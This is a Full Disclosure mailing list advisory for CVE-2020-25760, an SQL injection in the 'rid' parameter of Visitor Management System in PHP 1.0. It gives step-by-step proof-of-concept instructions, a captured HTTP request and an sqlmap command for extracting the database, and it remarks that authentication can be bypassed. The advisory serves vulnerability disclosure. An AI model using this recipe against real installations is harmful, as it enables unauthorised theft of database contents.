Visitor Management System in PHP 1.0 - Authenticated SQL Injection

From: Ava Tester One <avatesterone () gmail com>
Date: Sat, 19 Sep 2020 19:44:55 -0400

```
# Title: Visitor Management System in PHP 1.0 - Authenticated SQL Injection
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: https://projectworlds.in
# Software Link:
https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25760
# Description
The file front.php does not perform input validation on the 'rid'
parameter. An attacker can append SQL queries to the input to extract
sensitive information from the database.
Note: This exploit can work pre-authentication as well, but need to change
the 302 Response to 200 using an intercept tool. It should be pretty
straight forward so I have not shown how.

#POC

1) Navigate to the login page

Example:

http://192.168.1.72/visitor_management/index.php

2) Enter 'username' and 'password'

3) On the homepage, click on any visitor name and intercept the request

4) Save the request to file. Example, visitor_management_sqli.req

GET /visitor_management/front.php?rid=373568 HTTP/1.1
Host: 192.168.1.72
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.72/visitor_management/front.php
Cookie: PHPSESSID=emvdv3k52ngs7uf0gliajb13ef
Upgrade-Insecure-Requests: 1

5) Run SQLmap on the file,

sqlmap -r visitor_management_sqli.req --dbms=mysql --threads=10

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

By Date By Thread

Current thread:

- **Visitor Management System in PHP 1.0 - Authenticated SQL Injection** ***Ava Tester One (Sep 22)***

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License